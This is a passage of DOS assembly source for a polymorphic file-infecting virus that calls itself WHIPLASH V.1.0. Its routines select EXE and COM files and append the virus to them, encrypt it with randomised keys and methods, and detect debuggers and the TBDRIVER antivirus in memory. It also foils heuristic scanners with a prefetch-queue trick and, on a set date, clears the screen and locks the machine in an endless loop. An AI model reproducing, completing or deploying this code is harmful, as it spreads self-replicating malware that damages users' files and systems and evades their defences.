     Db 4,'scan'
     Db 5,'CLEAN'
     Db 5,'clean'
     Db 3,'RAV'
     Db 3,'rav'
     Db 3,'AVX'
     Db 3,'avx'
     Db 5,'VSAFE'
     Db 5,'vsafe'      ;here you can insert many others in the same way:
                       ;a byte for length of string and then the string
     Db 0              ;0 marks the end

CHECKFILE:
       Push DX         ;save regs to be lost
       Push DI
       Push SI
       Push CX
       Push ES

       Push CS
       Pop ES

       Mov SI, DX                   ;SI=DX
       Mov CX, 128                  ;CX=max file name
AG1:
       Cmp Byte Ptr DS:[SI],'.'     ;did I reach the '.' in filename ?
       Je DONE                      ;yeah!
       Cmp Byte Ptr DS:[SI],0       ;or maybe a 0
       Je DONE                      ;yeah!
       Inc SI                       ; otherwise
       Loop AG1                     ; LOOP!
       Dec SI                       ; now dec SI to point to the last
       Mov CX, 128                  ; character in the filename
DONE:
       Cmp Byte Ptr DS:[SI], '\'    ; and start looking for '\'
       Je DONE2
       Cmp SI, DX                   ; or for the begining
       Je DONE3
       Dec SI
       Loop DONE
DONE2:
       Inc SI                       ; if I am at '\', add 1
DONE3:
       Xor CX, CX                   ; and all the stuff above made my SI
       Push SI                      ; point to the first character of the
                                    ; filename (I push SI to preserve addr.)
       Mov DI, Offset comp          ; di = offset of the comparition strings
REPEAT1:
       Mov CL, Byte Ptr CS:[DI]     ; CL = length of string to compare to
       Inc DI                       ; jump over that
       Rep Cmpsb                    ; and comp. str. at SI with the one at DI
       Je DONE4
       Pop SI                       ; SI = filename again
       Push SI                      ; PUSH to preserve
       Add DI, CX                   ; DI = DI + remainder after comparition
       Cmp Byte Ptr CS:[DI],0       ; is it the end ?
       Je DONE5                     ; yeah !
       Jmp REPEAT1                  ; no ! repeat, please!
DONE4:
       Stc                          ; set carry to mark that the filename
       Jmp DONE6                    ; contains susspicious characters
DONE5:
       Clc                          ; or clear it if it's ok!
DONE6:
       Pop ES                       ; restore all
       Pop SI
       Pop CX
       Pop SI
       Pop DI
       Pop DX
       Ret                          ; and return

CHECKNAME:
       Push CX
       Mov SI, DX                      ; si points to name
       Mov CX, 128                     ; maximum 128 bytes
CHECKAGAIN:
       Cmp Byte Ptr DS:[SI], 0         ; check until 0 is reached
       Je ALLRIGHT                     ; I'm there...
       Inc SI
       Loop CHECKAGAIN
ALLRIGHT:
       Pop CX
       Sub SI, 3                      ; make it point to the begining of ext.
CHECKNAME_2:                          ; this is invoked by INFECT_2
       Cmp Word Ptr DS:[SI], 'XE'     ; is it `EXE' ?
       Jne EX1
       Cmp Byte Ptr DS:[SI+2], 'E'
       Jne EX1
       Jmp GOOD_FILE                  ; YEAH !
EX1:   Cmp Word Ptr DS:[SI], 'xe'     ; or maybe `exe'
       Jne EX2
       Cmp Byte Ptr DS:[SI+2], 'e'
       Jne EX2
       Jmp GOOD_FILE                  ; Oh, yeah, yeah !
EX2:   Cmp Word Ptr DS:[SI], 'OC'     ; If not, maybe `COM'
       Jne EX3
       Cmp Byte Ptr DS:[SI+2], 'M'
       Jne EX3
       Jmp GOOD_FILE                  ; Sure, baby !
EX3:   Cmp Word Ptr DS:[SI], 'oc'     ; last chance: `com'
       Jne EX4
       Cmp Byte Ptr DS:[SI+2], 'm'
       Jne EX4

GOOD_FILE:
       Stc                            ; set carry for good file
       Jmp BYE
EX4:
       Clc                            ; clear carry for bad file
BYE:
       Ret                            ; wooh ! get back !
;-----------------------------------------------------------------------------
WRITEVIRUS:
       Mov AH,40h                       ;
       Mov CX,Offset FIN - Offset START ;copy the virus
       Mov DX,Offset FIN + 50           ;to end of file
       Call DOS_INT_21
       Ret
;-----------------------------------------------------------------------------

ENCRYPTROUTINE:
;************************************************************************;
; Here starts the encryption - mutation procedure                        ;
;************************************************************************;

       Call RANDOMIZE                      ;initialize the random generator
ENCRYPT1:                                  ;this is the first encryption
                                           ;procedure
       Call _RANDOM                        ;get a random number in AX
       Mov CX, 3                           ;and make it modulo 3 so
       Call MODULO                         ;AX=0 or 1 or 2
       Mov DI, Offset FIN                  ;set di to point
       Add DI, 50                          ;to the address of method1
       Add DI, Offset method1              ;
       Sub DI, 100h
       Mov [DI],AX                         ;save there the AX
       Mov BX, AX                          ;and also put the method used in BX
       Call _RANDOM                        ;get another random number
       Mov DI, Offset FIN                  ;make di to point to cheie1,
       Add DI, 50                          ;the first encryption key.
       Add DI, Offset cheie1
       Sub DI, 100h
       Mov [DI], AX                        ;save the key there
       Mov DI, Offset FIN                  ;di will now point to
       Add DI, 50                          ;startcod123
       Add DI, Offset STARTCOD123
       Sub DI, 100h
       Mov CX, (ENDCOD1 - STARTCOD123) / 2  ;cx = length of code to encrypt

IAR11:
       Cmp BX, 0                            ;is it the first method?
       Je FIRSTMETHOD3                      ;yes.

       Cmp BX, 1                            ;no, is it the second?
       Je SECONDMETHOD3                     ;yes.

       Cmp BX, 2                            ;no, then it must be the third.
       Je THIRDMETHOD3                      ;yes!

FIRSTMETHOD3:
       Xor Word Ptr [DI], AX                ;the first method XOR-es
       Jmp GOON3
SECONDMETHOD3:
       Add Word Ptr [DI], AX                ;the second method ADDs
       Jmp GOON3
THIRDMETHOD3:
       Sub Word Ptr [DI], AX                ;the third method SUBs

GOON3:
       Inc DI
       Inc DI
       Loop IAR11                         ;loop until over

ENCRYPT2:                                 ;this is the second
       Mov DI, Offset FIN                 ;encryption routine,
       Add DI, 50                         ;which encrypts without a key
       Add DI, Offset STARTCOD123
       Sub DI, 100h
       Mov CX, (ENDCOD2 - STARTCOD123) - 1
IAR22:
       Mov AH, Byte Ptr [DI]              ;it adds continously addiacent
       Mov AL, Byte Ptr [DI+1]            ;bytes and puts the result in
       Add AH, AL                         ;the first one
       Mov Byte Ptr [DI], AH              ;leaving only the last byte intact.
       Inc DI
       Loop IAR22

ENCRYPT3:                                  ;the third encryption procedure
       Call _RANDOM                        ;is similar to the first.
       Mov CX, 3
       Call MODULO
       Mov AX, 0
       Mov DI, Offset FIN
       Add DI, 50
       Add DI, Offset method2
       Sub DI, 100h
       Mov [DI],AX
       Mov BX, AX
       Call _RANDOM
       Mov DI, Offset FIN
       Add DI, 50
       Add DI, Offset cheie2
       Sub DI, 100h
       Mov [DI], AX
       Mov DI, Offset FIN
       Add DI, 50
       Add DI, Offset STARTCOD123
       Sub DI, 100h
       Mov CX, (ENDCOD3 - STARTCOD123) / 2

IAR33:
       Cmp BX, 0
       Je FIRSTMETHOD

       Cmp BX, 1
       Je SECONDMETHOD

       Cmp BX, 2
       Je THIRDMETHOD

FIRSTMETHOD:
       Xor Word Ptr [DI], AX
       Jmp GOON
SECONDMETHOD:
       Add Word Ptr [DI], AX
       Jmp GOON
THIRDMETHOD:
       Sub Word Ptr [DI], AX

GOON:
       Inc DI
       Inc DI
       Loop IAR33
       Ret
;-----------------------------------------------------------------------------

MOVEVIRUS:
       Push CS                     ;
       Pop DS                      ;move the code
       Push CS                     ;of my virus
       Pop ES                      ;to the end of my memory + 50
       Cld                         ;(see why I needed +52 when I allocated?)
       Mov SI,100h                 ;
       Mov DI,Offset FIN + 50      ;so that I can encrypt it down there
       Mov CX,Offset FIN - 100h    ;
       Rep Movsb                   ;
       Ret
;-----------------------------------------------------------------------------

REMAKETHEM:               ; needed to restore the registers and flags
       Mov AX, CS:[flags]
       Push AX
       Popf
       Mov AX, CS:[dds]
       Mov DS, AX
       Mov AX, CS:[ees]
       Mov ES, AX
       Mov AX, CS:[aax]
       Mov BX, CS:[bbx]
       Mov CX, CS:[ccx]
       Mov DX, CS:[ddx]
       Mov DI, CS:[ddi]
       Mov SI, CS:[ssi]
       Ret
;-----------------------------------------------------------------------------

CHGPTR:

       Xor CX,CX                       ;used to move file pointer
       Xor DX,DX                       ;
       Int 21h                         ;
       Ret                             ;
;-----------------------------------------------------------------------------

INT24:                                 ;the INT 24 handler

       Mov AL,3                        ;used to reset
       Iret                            ;the error flag if INT 24 is invoked
                                       ;and instruct DOS to abort operation.
;-----------------------------------------------------------------------------

rand_seed       Dw      0
RANDOMIZE:                             ;procedure to start the
       Push    CX DX                   ;random generator
       Xor     AH,AH                   ;get timer count
       Int     1Ah
       Mov     CS:[BP + rand_seed],DX  ;and save it
       Xchg    CH,CL
       Add     CS:[BP + rand_seed_2],CX
       Pop     DX CX
       Ret
;-----------------------------------------------------------------------------

_RANDOM:                               ;the random number generator
       In      AL,40h                  ; timer, for random nr
       Sub     AX,CS:[BP + rand_seed]
Db     35h                             ; XOR AX,
rand_seed_2     Dw      0              ; what is here
       Inc     AX
       Add     CS:[BP + rand_seed],AX  ; change seed
       Ret
;-----------------------------------------------------------------------------

MODULO:                                ; the modulo procedure ax = ax mod cx
       Push DX
       Xor DX, DX
       Div CX
       Xchg AX, DX
       Pop DX
       Ret
;-----------------------------------------------------------------------------
CHECK_4_DANGER:                   ;checks if TBDRIVER or others are resident
      Pusha
      Push ES
      Push DS
      Push SI
      Push DI

      Mov AH, 52h                 ;get the first PSP
      Int 21h
      Add BX, 12
      Mov AX, ES                  ;ax=PSP
      Dec AX                      ;ax-1 = first MCB
      Mov ES, AX
      Les BX, ES:[BX]             ;correct ES

AGAIN:
      Call PROCESS                ;call to search procedure
      Jc OVER2                    ;found something nasty -> move !
      Mov DH, Byte Ptr ES:[0]     ;check if last MCB
      Cmp DH,'Z'
      Je OVER                     ;no danger !
      Mov DX, ES:[3]              ;get MCB size
      Mov AX, ES
      Inc AX
      Add AX, DX
      Mov ES, AX                  ;Next MCB
      Jmp AGAIN

PROCESS:
     Push AX
     Push DX

     Mov DI, Offset sir            ;Now I create the string from MCB
     Mov SI, 8                     ;that gives the name of the program
     Mov CX, 8                     ;that owns the MCB
   IAR:
     Mov BH, Byte Ptr ES:[SI]
     Mov Byte Ptr DS:[DI], BH
     Inc SI
     Inc DI
     Loop IAR

     Mov SI, Offset comp1          ;and I compare it with the strings
     Mov DX, Offset sir            ;in 'comp1',...'compn'
     Mov DI, DX
     Mov Byte Ptr DS:[flag], 1
REPEAT:
     Lodsb
     Cmp AL, 1
     Je MOVEOVER
     Cmp AL, 0
     Jne STILLWEGO
     Cmp Byte Ptr DS:[flag], 1
     Je MOVEOVER
     Mov Byte Ptr DS:[flag], 1
     Mov DI, DX
     Lodsb
STILLWEGO:
     Inc AL
     Cmp AL, Byte Ptr DS:[DI]
     Je OKEYDOKEY
     Mov Byte Ptr DS:[flag], 0
OKEYDOKEY:
     Inc DI
     Jmp REPEAT
MOVEOVER:
     Cmp Byte Ptr DS:[flag], 1
     Jne XX
     Stc
     Jmp YY
XX:  Clc
YY:
     Pop DX
     Pop AX
     Ret

OVER:
     Clc                              ;there is nothing to worry about!
     Jmp OUTSIDE
OVER2:
     Stc                              ;there is something nasty there !
OUTSIDE:
      Pop DI
      Pop SI
      Pop DS
      Pop ES
      Popa
      Ret

flag Db 1
sir Db '          ',0,'$'
comp1 Db 'SC',0                       ;(TD)       prevents debugging
      Db 'RNESHBD',0                  ;(SOFTICE)    ""
      Db 'CDATF',0                    ;(DEBUG)      ""
      Db 'SACQHUDQ',1                 ;(TBDRIVER) this is dangerous !
                                      ;notice that many may be added here;
                                      ;all you have to do is db them
                                      ;and sub 1 from each character, add 0
                                      ;after, if there is another one, or 1 if
                                      ;it's the last

;***********************************************************
;         THESE ARE THE ACTION ROUTINES
;***********************************************************
ACTION_1:
       Pusha                      ;get the day
       Mov AH, 2Ah
       Int 21h
       Cmp DH, CS:[BP+myday]      ;is it equal to myday?
       Jne NOT_YET
       Cmp DL, CS:[BP+mymonth]    ;and is the month greater the mymonth?
       Jng NOT_YET
       Jmp ACTION                 ;if so, let's ROCK!
NOT_YET:
       Popa
       Ret

text Dw 0D0Ah
     Db 13, 10
     Db 13, 10
     Db 13, 10
     Db 13, 10, '             This is WHIPLASH V.1.0 beta test release Variant A'
     Db 13, 10
     Db 13, 10, '   You are not supposed to have this virus as I never officialy released it.'
     Db 13, 10
     Db 13, 10, '   written and compiled in Bucharest, Romania by Lord Julus (c) 1997', '$'

ACTION:
       Cli                        ;disable interrupts
       Mov AH, 00h                ;not a very nice way to clearscreen
       Mov AL, 00h
       Int 10h
       Mov AH, 00h
       Mov AL, 03h
       Int 10h
       Push CS
       Pop DS
       Mov AH, 09h
       Mov DX, Offset text
       Add DX, BP
       Int 21h
FOREVER:                          ;lock computer
       Jmp FOREVER
       Popa
       Ret

;***********************************************************
;         DATA AREA
;***********************************************************
filesize Dd ?                ;for EXE filesize
handle  Dw  ?                ;handle for opened files
address Db  ?                ;an address where I put the marker
hostlen Dw  ?                ;length of host for COM files
wrd     Dw  ?                ;a word that marks EXE's
jump    Db  0E9h             ;code op for JMP
buff    Db  0CDh,20h,0       ;the buffer I read from the files
        Db  30h Dup(0)
hour    Dw  ?                ;I save the hour here
day     Dw  ?                ;I save the day here
attrib  Dw  ?                ;and here the attributes
errorh  Dd  ?                ;this is the saved address of error handler
stamp   Db  07               ;time stamp
myday   Db  07               ;day to action
mymonth Db  06               ;month to action from
virname  Db 'MSDOS',0,0,0,0  ; name as showed by MEM
dta Dw 2Ch Dup (0)           ; my Disk Transfer Area
old_dta Dd 0                 ; saved DTA
oldint21_2 Dd ?              ; the chained int21h pointer
oldint21 Dd ?                ; original int21h pointer (DOS)
oldint01 Dd ?                ; old int 01h pointer
oldint33 Dd ?                ; old mouse interrupt
;***********************************************************

ENDCOD1:

cheie1 Dw  0                            ; decrypt key for proc. 1
method1 Dw 0
;**********************************************************
; Here ends the code for the decrypt routine 1            *
;**********************************************************

;**********************************************************
; This is the first decryption routine with the key 1     *
;**********************************************************

DECRYPT1:
       Mov DI, Offset STARTCOD123
       Add DI, BP
       Mov CX, (ENDCOD1 - STARTCOD123) / 2
       Mov AX, CS:[BP + Offset cheie1]
       Mov BX, CS:[BP + Offset method1]

IAR1:
       Cmp BX, 0
       Je FIRSTMETHOD4

       Cmp BX, 1
       Je SECONDMETHOD4

       Cmp BX, 2
       Je THIRDMETHOD4

FIRSTMETHOD4:
       Xor Word Ptr CS:[DI], AX
       Jmp GOON4
SECONDMETHOD4:
       Sub Word Ptr CS:[DI], AX
       Jmp GOON4
THIRDMETHOD4:
       Add Word Ptr CS:[DI], AX

GOON4:
       Inc DI
       Int 03h
       Inc DI
       Loop IAR1
       Ret
;**********************************************************
; End of the first decryption routine                     *
;**********************************************************

ENDCOD2:

;***********************************************************
; Here ends the code to be decrypted by the second routine *
;***********************************************************

;***********************************************************
;  And this is the second routine (without a key)          *
;***********************************************************

DECRYPT2:
       Mov DI, Offset ENDCOD2
       Add DI, BP
       Dec DI
       Dec DI
       Mov CX, ENDCOD2 - STARTCOD123
IAR2:
       Push AX                             ;A little INT 21h checking the
       Mov AH, 0Bh                         ;keyboard hooks TBAV's cleaning
       Int 21h                             ;process while emulating the code
       Pop AX                              ;

       Mov AH, Byte Ptr CS:[DI]
       Mov AL, Byte Ptr CS:[DI+1]
       Sub AH, AL
       Int 03h
       Mov Byte Ptr CS:[DI], AH
       Dec DI
       Loop IAR2
       Call DECRYPT1
       Ret

;**********************************************************
; The end of the second decryption routine                *
;**********************************************************

ENDCOD3:

;************************************************************
; Here ends the code to be decrypted by the third procedure *
;************************************************************

;**********************************************************
; This is the third decyption routine with the key 2      *
;**********************************************************

DECRYPT3:

       Jmp OVERG2
OVERG2:
       Mov DI, Offset STARTCOD123
       Add DI, BP
       Mov CX, (ENDCOD3 - STARTCOD123) / 2
       Mov AX, CS:[BP + Offset cheie2]
       Mov BX, CS:[BP + Offset method2]

IAR3:
       Mov Byte Ptr CS:[BP + PATCH], 0E2h
       Cmp BX, 0
       Je FIRSTMETHOD2

       Cmp BX, 1
       Je SECONDMETHOD2

       Cmp BX, 2
       Je THIRDMETHOD2

FIRSTMETHOD2:
       Xor Word Ptr CS:[DI], AX
       Jmp GOON2
SECONDMETHOD2:
       Sub Word Ptr CS:[DI], AX
       Jmp GOON2
THIRDMETHOD2:
       Add Word Ptr CS:[DI], AX

GOON2:
       Inc DI
       Int 03h
       Inc DI
       Mov Byte Ptr CS:[BP + PATCH], 0B8h  ;Here I use the Prefetching Queue
PATCH:                                     ;Method against heuristic scans.
       Loop IAR3                           ;When Cpu executes this the Loop is
       Call DECRYPT2                       ;executed, but when a step-by-step
       Ret                                 ;process is in course the loop
                                           ;becomes a mov xx,yyyy

;**********************************************************
; Here ends the third decryption routine                  *
;**********************************************************

cheie2 Dw 0                             ; the key 2
method2 Dw 0                            ; the method 2

FIN:
Code Ends
End START
